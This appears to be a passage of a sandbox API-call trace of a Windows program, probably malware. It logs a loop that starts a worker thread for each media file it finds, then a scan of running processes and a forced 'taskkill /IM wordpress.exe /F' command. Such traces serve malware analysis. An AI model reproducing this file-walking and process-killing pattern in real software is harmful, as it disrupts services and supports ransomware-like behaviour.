	[0284.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x295c
	[0284.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.389] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1
	[0284.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2960
	[0284.391] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.391] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1
	[0284.391] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.392] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2964
	[0284.587] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.587] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1
	[0284.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2968
	[0284.589] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.590] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1
	[0284.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x296c
	[0284.592] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.592] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1
	[0284.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2970
	[0284.594] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.595] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1
	[0284.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2974
	[0284.597] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.597] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1
	[0284.597] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2978
	[0284.599] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.599] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x72, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1
	[0284.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x297c
	[0284.602] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.602] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1
	[0284.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2980
	[0284.604] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.604] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x72, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1
	[0284.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2984
	[0284.606] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.607] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x72, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1
	[0284.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0284.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2988
	[0284.609] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.609] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x72, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0
	[0284.609] FindClose (hFindFile=0x79bc0) 

Thread:
	id = 105
	os_tid = 0x9f8

	[0116.985] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x17c
	[0117.292] Process32FirstW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0117.295] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0117.308] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0117.445] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0117.449] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0117.453] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0117.456] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0117.459] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0117.462] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0117.466] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0117.469] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.472] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.476] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.479] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.674] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.678] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0117.681] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.685] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.688] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0117.691] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0117.695] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0117.698] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0117.702] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.706] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0117.709] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0117.713] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0117.717] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0118.052] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0118.055] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0118.058] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="wordpress.exe")) returned 1
	[0118.061] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM wordpress.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0123.121] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0123.125] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0123.128] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0123.131] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0123.134] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0123.137] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0123.140] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0123.143] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0123.146] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0123.149] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0123.153] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0123.156] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0123.158] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0123.534] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
